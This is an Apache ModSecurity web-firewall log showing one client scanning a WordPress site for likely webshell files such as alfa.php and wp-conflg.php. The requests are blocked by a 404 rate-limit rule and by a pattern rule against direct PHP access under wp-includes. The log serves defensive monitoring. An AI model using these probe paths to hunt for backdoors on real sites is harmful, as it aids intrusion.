[Mon Mar 02 04:25:30.130257 2026] [:error] [pid 28908:tid 28929] [client 20.104.124.39:37792] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaSguoqJmC8ih_lQQnC5BwAAANM"]
[Mon Mar 02 04:25:31.263349 2026] [:error] [pid 28794:tid 28844] [client 20.104.124.39:37826] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaSgu6Vy2qpaelbUob3pYAAAAEg"]
[Mon Mar 02 04:25:32.468872 2026] [:error] [pid 31257:tid 31268] [client 20.104.124.39:37634] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaSgvP-JFLfishX45N_XUQAAAQU"]
[Mon Mar 02 04:25:33.515070 2026] [:error] [pid 28793:tid 28818] [client 20.104.124.39:37708] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaSgvQ2_fxBANaHo1f7uqQAAAAs"]
[Mon Mar 02 04:25:34.282026 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:37716] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaSgvoqJmC8ih_lQQnC5HQAAANA"]
[Mon Mar 02 04:25:35.243132 2026] [:error] [pid 28795:tid 28878] [client 20.104.124.39:37811] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaSgv7ROd53wZBkdI_fpUQAAAI8"]
[Mon Mar 02 04:25:35.853467 2026] [:error] [pid 28793:tid 28831] [client 20.104.124.39:37852] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaSgvw2_fxBANaHo1f7urwAAABg"]
[Mon Mar 02 04:25:36.345099 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:37713] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaSgwIqJmC8ih_lQQnC5LwAAANc"]
[Mon Mar 02 04:25:37.000110 2026] [:error] [pid 28908:tid 28918] [client 20.104.124.39:37728] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaSgwIqJmC8ih_lQQnC5NQAAAMg"]
[Mon Mar 02 04:25:37.657140 2026] [:error] [pid 28794:tid 28844] [client 20.104.124.39:37756] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaSgwaVy2qpaelbUob3pbgAAAEg"]
[Mon Mar 02 04:25:38.254820 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:37676] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaSgwv-JFLfishX45N_XZAAAARY"]
[Mon Mar 02 04:25:38.897377 2026] [:error] [pid 31257:tid 31286] [client 20.104.124.39:37836] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaSgwv-JFLfishX45N_XagAAARc"]
[Mon Mar 02 04:25:39.348014 2026] [:error] [pid 28795:tid 28877] [client 20.104.124.39:37736] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaSgw7ROd53wZBkdI_fpVgAAAI4"]
[Mon Mar 02 04:25:40.119454 2026] [:error] [pid 28793:tid 28815] [client 20.104.124.39:37663] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaSgxA2_fxBANaHo1f7usgAAAAg"]
[Mon Mar 02 04:25:40.729171 2026] [:error] [pid 28908:tid 28932] [client 20.104.124.39:37758] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaSgxIqJmC8ih_lQQnC5TQAAANY"]
[Mon Mar 02 04:25:41.395733 2026] [:error] [pid 28794:tid 28843] [client 20.104.124.39:37739] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaSgxaVy2qpaelbUob3pdgAAAEc"]
[Mon Mar 02 04:25:42.051908 2026] [:error] [pid 28794:tid 28847] [client 20.104.124.39:37745] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaSgxqVy2qpaelbUob3pewAAAEs"]
[Mon Mar 02 04:25:42.619758 2026] [:error] [pid 28795:tid 28864] [client 20.104.124.39:37885] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaSgxrROd53wZBkdI_fpXwAAAIE"]
[Mon Mar 02 04:25:43.361899 2026] [:error] [pid 28793:tid 28824] [client 20.104.124.39:37753] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaSgxw2_fxBANaHo1f7uvAAAABE"]
[Mon Mar 02 04:25:44.247671 2026] [:error] [pid 28795:tid 28886] [client 20.104.124.39:37649] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaSgyLROd53wZBkdI_fpagAAAJc"]
[Mon Mar 02 04:25:44.784969 2026] [:error] [pid 28794:tid 28847] [client 20.104.124.39:37782] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaSgyKVy2qpaelbUob3pjAAAAEs"]
[Mon Mar 02 04:25:45.413797 2026] [:error] [pid 28793:tid 28817] [client 20.104.124.39:37827] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaSgyQ2_fxBANaHo1f7uvwAAAAo"]
[Mon Mar 02 04:25:46.105788 2026] [:error] [pid 28795:tid 28878] [client 20.104.124.39:37741] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaSgyrROd53wZBkdI_fpcAAAAI8"]
[Mon Mar 02 04:25:46.712453 2026] [:error] [pid 28794:tid 28841] [client 20.104.124.39:37816] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaSgyqVy2qpaelbUob3plQAAAEU"]
[Mon Mar 02 04:25:47.883167 2026] [:error] [pid 28795:tid 28887] [client 20.104.124.39:37804] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaSgy7ROd53wZBkdI_fpdQAAAJg"]
[Mon Mar 02 04:25:48.873696 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:37580] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaSgzIqJmC8ih_lQQnC5XQAAAMs"]
[Mon Mar 02 04:25:49.619647 2026] [:error] [pid 28794:tid 28844] [client 20.104.124.39:37729] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaSgzaVy2qpaelbUob3prgAAAEg"]
[Mon Mar 02 04:25:50.359889 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:37658] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaSgzoqJmC8ih_lQQnC5ZQAAAM0"]
[Mon Mar 02 04:25:51.066624 2026] [:error] [pid 31257:tid 31270] [client 20.104.124.39:37876] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaSgz_-JFLfishX45N_XjAAAAQc"]
[Mon Mar 02 04:25:51.642680 2026] [:error] [pid 31257:tid 31273] [client 20.104.124.39:37735] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaSgz_-JFLfishX45N_XkQAAAQo"]
[Mon Mar 02 04:25:52.336270 2026] [:error] [pid 28794:tid 28852] [client 20.104.124.39:37813] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaSg0KVy2qpaelbUob3pvAAAAFA"]
[Mon Mar 02 04:25:53.000533 2026] [:error] [pid 28908:tid 28929] [client 20.104.124.39:37698] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaSg0IqJmC8ih_lQQnC5bwAAANM"]
[Mon Mar 02 04:25:53.915836 2026] [:error] [pid 28794:tid 28846] [client 20.104.124.39:37653] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaSg0aVy2qpaelbUob3pxgAAAEo"]
[Mon Mar 02 04:25:54.777159 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37771] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaSg0v-JFLfishX45N_XqwAAAQA"]
[Mon Mar 02 04:25:55.465169 2026] [:error] [pid 28908:tid 28912] [client 20.104.124.39:37707] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaSg04qJmC8ih_lQQnC5dgAAAMI"]
[Mon Mar 02 04:25:56.155145 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:37675] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaSg1P-JFLfishX45N_XsgAAARY"]
[Mon Mar 02 04:25:57.072013 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:37647] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaSg1YqJmC8ih_lQQnC5eAAAANA"]
[Mon Mar 02 04:25:57.840887 2026] [:error] [pid 28795:tid 28882] [client 20.104.124.39:37731] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaSg1bROd53wZBkdI_fplgAAAJM"]
[Mon Mar 02 04:25:58.631236 2026] [:error] [pid 31257:tid 31266] [client 20.104.124.39:37869] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaSg1v-JFLfishX45N_XxQAAAQM"]
[Mon Mar 02 04:26:00.243668 2026] [:error] [pid 28793:tid 28810] [client 20.104.124.39:37789] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaSg2A2_fxBANaHo1f7u0wAAAAM"]
[Mon Mar 02 04:26:00.859717 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37793] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaSg2IqJmC8ih_lQQnC5jgAAANQ"]
[Mon Mar 02 04:26:01.420278 2026] [:error] [pid 28908:tid 28911] [client 20.104.124.39:37639] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaSg2YqJmC8ih_lQQnC5kQAAAME"]
[Mon Mar 02 04:26:02.119619 2026] [:error] [pid 28794:tid 28842] [client 20.104.124.39:37697] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaSg2qVy2qpaelbUob3p0wAAAEY"]
[Mon Mar 02 04:26:02.875663 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:37726] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaSg2oqJmC8ih_lQQnC5qAAAAMk"]
[Mon Mar 02 04:26:03.459614 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:37764] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aaSg24qJmC8ih_lQQnC5tQAAANA"]
[Mon Mar 02 04:26:04.166115 2026] [:error] [pid 28794:tid 28857] [client 20.104.124.39:37855] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aaSg3KVy2qpaelbUob3p1QAAAFU"]
[Mon Mar 02 04:26:04.794546 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:37744] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aaSg3IqJmC8ih_lQQnC5wgAAAMU"]
[Mon Mar 02 04:26:05.510788 2026] [:error] [pid 28794:tid 28848] [client 20.104.124.39:37750] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aaSg3aVy2qpaelbUob3p2AAAAEw"]
[Mon Mar 02 04:26:06.158117 2026] [:error] [pid 31257:tid 31278] [client 20.104.124.39:37803] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaSg3v-JFLfishX45N_X5AAAAQ8"]
[Mon Mar 02 04:26:06.843075 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37807] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaSg3v-JFLfishX45N_X7QAAAQQ"]
[Mon Mar 02 04:26:07.873941 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37715] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaSg3_-JFLfishX45N_X-AAAAQA"]
[Mon Mar 02 04:26:08.658115 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37714] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaSg4P-JFLfishX45N_X_gAAAQQ"]
[Mon Mar 02 04:26:09.099553 2026] [:error] [pid 31257:tid 31283] [client 20.104.124.39:37785] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aaSg4f-JFLfishX45N_YAgAAARQ"]
[Mon Mar 02 04:26:09.675333 2026] [:error] [pid 28794:tid 28837] [client 20.104.124.39:37578] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aaSg4aVy2qpaelbUob3p2wAAAEE"]
[Mon Mar 02 04:26:16.476141 2026] [:error] [pid 31257:tid 31274] [client 20.104.124.39:37788] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaSg6P-JFLfishX45N_YQAAAAQs"]
